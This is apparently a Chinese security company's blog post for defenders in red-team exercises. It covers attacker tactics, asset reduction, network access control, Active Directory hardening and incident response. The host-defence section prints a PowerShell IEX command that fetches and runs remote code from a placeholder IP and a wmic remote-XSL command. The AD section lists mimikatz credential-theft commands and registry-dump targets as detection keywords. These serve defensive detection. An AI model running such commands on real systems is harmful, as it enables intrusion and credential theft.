最近我们Sinesafe参加的几家机构的渗透测试防守方防护方案评估复查,部分防守方缺乏对攻击者的正确认知,攻击者的手法已经比较高超了,不扫描,不落地,污染日志等都很普及了。同时也要正确认知对手:攻防演练中,攻击者并非无所不能,他们面临着和防御方一样的问题:时间紧,任务重。所以攻击者的攻击目标,攻击手法也是有迹可循的,知己知彼才能百战百胜。
渗透测试
一、知彼
攻击者也是讲成本的,因此防守方最好的策略是:做的比其他防守方好一点点即可。好一点的含义:不在低级问题上犯错(弱密码、互联网应用远程RCE、管理后台暴露、重要服务器未打补丁等)。对于“时间紧、任务重”的防守方来说,修建固若金汤的防线显然意味着大成本投入,以及最紧缺的时间,因此本文不会面面俱到,只选择性价比高值得快速投入的安全措施和大家分享。
攻击者一般:目标明确、步骤清晰、控制成本、反检测,反清理、三流分立。
目标明确:攻击者只攻击得分项,和必要路径(外网入口,内网立足点),对这些目标采取高等级手段,会隐蔽操作;对非必要路径顺路控制下来的服务器,并不怕被发现,用起来比较随意,甚至主动制造噪音,干扰防守方。
步骤清晰:信息收集-控制入口-横向移动-维持权限-攻击目标系统。每一步都是经典操作和教科书式手法。
控制成本:
- 优先攻击高权限账号,如管理员,目标系统负责人账号;
- 优先攻击运维/安全人员账号和终端,这些人往往有服务器root账号,安全设备管理员账号,可以进一步深入控制;
- 优先攻击集中管控设施,如域控,集中身份认证系统,终端管理系统,攻陷单系统即获得公司内大部分系统的权限;
- 优先攻击基础设施,如DNS,DHCP,邮件系统,知识分享平台,oa系统,工单系统;这些系统有内置高权限账号,或可以帮助攻击者隐蔽痕迹。或Git/SVN等开发源代码管理服务器,通过代码审计发现应用0day漏洞。
反检测,反清理:
- 样本隐蔽技术(白利用(带微软签名的程序执行未签名的黑dll),样本不落地执行(从网上加载样本,只运行在内存,不落盘不惊动杀软));
- 快速扩散(攻击者会将攻击包做成自动化工具,降低人力投入,快速控制一批有漏洞发服务器);
- 停止日志外发,日志清除(脚本优先停止常见日志外发工具;同时有开源自动化工具来劫持日志产生的进程,使得系统不产生日志;使用完后删除access.log等日志);
- 减少扫描,通过分析日志、分析配置文件、管理员来源IP等方式来获取内网的其他机器IP信息,而不是扫描。
- 点击添加图片描述(最多60个字)
三流分立:
- 扫描流:用来大批量扫描内网存活IP和漏洞,扫描源通常不被攻击者重视,被清除也不会影响到攻击计划,高水平攻击者通常使用扫描行为来分散防守方精力。
- 数据流:用来向外网大量传输非关键数据,通常是有互联网权限的终端或服务器(终端较多),很少有隧道行为或扫描行为,通过简单的https,sftp方式传输数据
- 控制流:用于接受和传递远控指令的服务器,攻击者最重视的设施,使用起来最为谨慎,和远控中心进行交流,常用组件cobaltstrike, empire;有隧道行为,且数据传输量很少,会连接若干个IP和域名(避免外网封禁),传输必定加密,不使用自签名证书。
在本次攻防实战演习准备阶段,攻击方准备了几十个C2域名。
二、知己知己,主要是知晓防守方防守区域内的资产信息,缩小暴露面。原则如下:
- 不用的系统,该下的下,该暂停的暂停。不用的功能,该下的下,该暂停的暂停。(平时就应该这样处理,而不是战时)
- 该取消访问的取消,能限制访问范围的限制访问范围。
- 在用的,搞清楚功能,双流(数据流和运维流)谁用,有没有风险,能否一键处置。
缩小暴露面 1.按资产所属纬度梳理
互联网资产、分支机构资产、子公司资产、外联公司资产、公有云资产、开发商、外包商。
容易忽视的:
- 公有云资产,因为有的业务部门和分支机构公有云申请都不经过IT部门,上面却放了大量业务数据。
- 开发商/外包商的资产。开发商/外包商一般给甲方外包开发信息系统,开发商/外包商公司内部也会自建Git/SVN等源代码管理服务器,存有已经交付给甲方的信息系统源码,而开发商/外包商的源码系统管理安全能力和甲方相比可能就差几个量级了。后果就是:通过获得的源码,发现系统应用0day,从而控制甲方已上线信息系统。
缩小暴露面 2.按资产属性梳理
特别关注资产的安全属性:中间件或框架(版本)、开放在公网API接口(特别是未下线的老接口)、管理后台开放在公网、高危功能(文件上传点、短信验证码、重置密码、文件下载)、远程接入点(VPN)、特权账户(应用管理特权账户、应用连接账户、系统管理特权账户、可以修改账户权限的账户、备份账户、高管层账户)。
每一个安全属性都是血的教训。
缩小暴露面 3.忽视点
- 所有内部文档服务器上(含OA、邮件系统、jira、wiki、知识库等)敏感信息清理或限制访问权限,不要有:网络拓扑、安全防护方案和部署位置、各类密码;
- 资产管理平台上,蜜罐不要叫蜜罐、安全设备IP要隐藏;
- 各类口令:弱口令、默认口令、已泄露口令。
每一个忽视点都是眼泪的结晶。
安全资产管理,更多内容参加:安全资产管理中容易被忽视的几点
三、防护关键点
临战前,再想按照大而全的梳理一遍,几无可能,最好就是把防护关键点过一遍,切记都实际看一遍,不要相信别人的反馈。
3.1 安全隔离
渗透测试绕过
从实战来看,网络层的访问控制被证明是最有效的(攻击者很难绕过去),不要相信应用层控制。网络层访问控制属于基础架构安全,这是最有效最重要的,整个安全防护的基础。
访问控制策略原则:明细允许,默认拒绝。
- 从内网去互联网的访问控制
- 办公终端:除个别协议无法限制目的IP外,其余协议全部限制。特殊访问需求,快速开通。有条件的考虑:终端不能直接访问互联网,需要访问互联网的两种解决方案:另外分配一台上网终端、虚拟浏览器
- 办公服务器:特殊访问需求开通,默认拒绝
生产网:生产网终端禁止上互联网、服务器特殊访问需求开通,默认拒绝
2.互联网访问内网:对互联网提供服务的服务器必须在DMZ,和内网隔离。
3.重要系统的访问控制策略
- 基础设施如AD、邮件系统的访问控制。
- 别小看基础设施ACL访问控制,这是对抗应用和系统漏洞的最低成本和最有效措施。漏洞层出不穷,唯有ACL访问控制药效持久,强烈推荐。
- 终端安全管控、自动化运维系统等集中控制系统后台登录限制访问来源。(优先使用网络访问控制、其次使用系统层限制、搭配使用应用层限制)
3.2 AD防护
- 准备阶段
2.加固阶段
对抗权限提升:对域账号进行权限DACL梳理,加固高权限账号
- 检测高权限账号可以用bloodhound黑客工具监测,也可以通过System Internal Tools的ADExplorer来进行检测:
- 1)修改密码(建议在演习前临近时间进行修改)
- 2)调整权限和分组,根据账号的归属人的权限进行调账,取消非域管账号的敏感权限。
- 3)修改分组内的不合适的人员账号。
- 4)敏感账号不允许委派。
- 5)敏感账号不允许取消Kerberos预鉴权。
- 6)敏感账号的密码强度符合规定。
- 7)具备直接域管或者间接域管权限(例如可以修改Domain Admins的账号就具备间接域管权限)的账号的活动进行报备制度,演习期间未经允许不得进行任何操作,包括登录等等。
- 8)办公机和终端演习前全部重启,消除敏感账号凭据留存。
- 9)服务器登录查看相关凭据,如果有删除或通过注销来删除服务器上留存的凭据。
- 10)参照https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-f--securing-domain-admins-groups-in-active-directory配置域管理员权限。
- 对抗攻击者使用MS14-068,MS17-010攻击域:从旧到新依次安装DC上的windows补丁。
- 对抗攻击者使用ExchangeSSRF漏洞:从旧到新依次安装Exchange上的windows补丁。
- 对抗LDAP relay攻击:在域控上配置LDAP enforce signing。
- 对抗LDAP relay和SSRF攻击:在域控上配置LDAPS channel binding。
- 对抗LLMNR/NBT Poisoning攻击:关闭域内WPAD服务。
3.检测阶段
渗透测试检测阶段
原则:若域不安全,最佳修复方案是重装。
- 检测敏感共享目录访问:访问了AD服务器的非正常共享目录 (非SYSVOL文件夹)
- 检测mimikatz一系列攻击行为:
- Mimikatz通过sysmon进程来进行检测,常见关键字有“gentilkiwi (Benjamin DELPY)”(公司名称)、
- 其他关键字:kerberos::golden sekurlsa::pth kerberos::ptt lsadump::dcshadow lsadump::dcsync sekurlsa::logonpasswords privilege::debug misc::skeleton
- 检测Kerberos弱加密方式:非AES加密方式的Kerberos票据加密请求相当可疑
- 检测异常注册表变更和dump:DSRMAdminLogonBehavior
- 变更AdminSDHolder
- 导出HKLM\SAM内容
- 导出HKLM\SYSTEM内容
- 导出HKLM\SECURITY内容
- 检测ntdsutil滥用:使用了ntdsutil的敏感参数activate instance ntds ;使用了ntdsutil的敏感参数set dsrm password
- 检测SID history变更:账号加入SID History成功、失败
- 检测lazagne密码提取工具:特征 lazagne
- 攻击者喜欢用的其他工具:
- procdump、PsExec、cain、Mshta、cmstp、QuarkPwDump、getpass、gethash、ntdsdump、Get-PassHashes、Wce、psaattack。
3.3 主机防护(终端和服务器)对抗
攻击者在尝试控制终端和服务器时,为了绕过常规的杀毒软件,通常会使用一些免杀手段。而某些免杀手段(如白利用,样本不落地执行)由于非常稳定和高效,更是受到广大攻击者的青睐。
1.Powershell IEX组建下载执行.(文件在内存执行,不落硬盘)
利用代码示例:powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))">
监测特征:"IEX” AND “(New-Object Net.WebClient).DownloadString“
2.Windows系统白文件利用(wmic.exe
利用代码示例:cmd/c wmic os get /format:”\\x.x.x.x\1.xsl”&start/wait notepad
监测特征:"wmic os get" AND "/format"3.Windows系统白文件利用(csc.exe)
利用代码示例:
"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe"/noconfig /fullpaths@"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"
监测特征:"csc.exe" AND ("/r:System.EnterpriseServices.dll"OR "/unsafe")4.Windows系统白文件利用(msiexec.exe)
特征:被动执行后台执行的参数,有一定误报率。请自行研究,不再举例。
5.检测certutil白利用
特征:常见绕防火墙使用的参数。请自行研究,不再举例。
6.检测通过url.dll来进行不落地执行
请自行研究,不再举例。
3.4 账户和权限对抗
- 高权限一律清理,限制使用范围,每次使用后确认。
- 应用权限通过日志分析检测滥用。
- 关注备份账户、可修改权限账户的使用。
- 终端24小时重启一次。(对抗终端权限抓取类攻击)
3.5 瞬间死亡
瞬间死亡有两种方式:路径打穿、系统打穿。
3.5.1 路径打穿
直接从未想过(未设防)的路径攻击过来。邮件是控制终端第一选择入口,具体防护可参见《企业安全建设指南:金融行业安全架构与技术时间》第16章:邮件安全。
边缘网包括无线和自助终端,包括:打卡机、自动售卖机、会议室设备、ATM机、排队机等。限制无线和自助终端网络和内网访问。
限制分支机构、外联公司等网络和总部的网络访问。
不要相信理论上不能全通,但实际上存在全通内网的系统。(死于方便性)
3.5.2 系统打穿
系统打穿,都是血泪史。因为我们总是忘记了这些最大的风险源。优先攻击中心化的系统和跨两网的系统,包括终端安全管控控制台(控制台安全防护能力很弱)、运维管理系统/Zabbix/Nagios/堡垒机等、单点登录SSO系统、AD活动目录;
- 优先攻击基础设施:DNS、DHCP、邮件系统、研发服务器SVN/Git;
- 高价值终端:
- 网络管理员:终端内有网络拓扑和ACL控制策略,甚至可以修改访问控制;
- 安全管理员:有安全防护方案和检测系统、告警系统登录权限,很多安全系统做了登录来源限制,绕过手段之一就是控制安全管理员的终端,同时抓取安全管理员账户密码,攻击者一举两得;
- 研发个人终端/运维个人终端:高价值数据;
- 内网扫描器:网络权限较大,哪都能去。
- 代码服务器:代码数据价值比较高。私有协议开发的应用程序,源码要保护好,有经验攻击团队带代码审计技能成员,通过源码审计发现应用0day
3.6 容易出问题的点
- 互联网应用框架RCE
- 应用和中间件管理后台暴露
- VPN:未启用双因素,或存在未启用双因素的部分用户
- 测试环境的测试系统未及时打补丁、弱密码
- 通过邮件入口控制办公终端
- 跨两网的设备
- 服务器密码同质问题
- 社工
四、事中和事后
前面分享了很多防护和检测的事项,但防守方到了这个阶段,更重要的是考虑一下事中的各种过载信息的研判和快速应急处置措施。
我们打内部攻防演习的时候,最大的困扰是决策和处置。
4.1 过载信息研判
有效高速的决策机制,什么权限范围内的由什么人决策,这是授权。
什么岗位(人)负责什么,这是职责划分。比如谁负责跟踪每条告警信息到Closed状态?谁负责断网?谁负责样本分析?谁负责失陷主机排查?谁负责溯源路径?谁负责记录?谁负责汇报?等等。
4.2 快速应急处置
4.2.1 硬件和后勤
- 大的作战室,容纳全部防守队伍;
- 好的白板(最好电子的),便于梳理攻击路径;
- 准备好零食和一日三餐、行军床。
4.2.2 重要信息同步
- 已经沦陷的IP清单(黑名单),同步给所有防守方;
- 是否C2域名快速判断,注意真假难辨的域名。
4.2.3 各类应急处置措施
- 断网:快速断网的操作规范和自动化工具
- 诱饵
- 临时添加ACL和FW规则
- 下线业务:和业务方建立畅通的沟通机制和快速的决策机制
如果失陷(疑似)主机,决策用于诱饵,务必确保诱饵的风险可控,万一持续利用诱饵在内网横向移动,再进行限制就困难了。
注意体力分配,高水平攻击者通常使用扫描行为等方式来分散防守方精力。
4.3 渗透测试复检
攻防实战演习后的总结改进提升,才是最终目的。
4.3.1 防护薄弱点和改进措施
- 安全团队
- 协作团队
- 厂商和第三方
安全团队不好推动的工作,不好讲的话,要不到的资源,都可以在这里提出来。
应急处置薄弱点和改进措施,落实到人、计划和资源中,才是务实的。
4.3.3 资源不足,要资源
安全运营是必由之路,参见 金融业企业安全建设之路
7*24小时的安全运营,既然攻击对手是7*24小时的,为什么安全运营不是呢?
4.3.4 必要的管理层汇报
五、注意事项
不要影响业务。攻防演习前的加固,需要妥善评估对业务可用性影响,攻防演习中的应急处置,需要妥善评估对业务可用性影响,毕竟,业务可用性才是老大,安全不是,摆正心态和位置,如果对渗透测试有想法的朋友可以找专业的网站安全公司来处理解决,国内推荐Sinesafe,绿盟,启明星辰,等等的网站安全公司。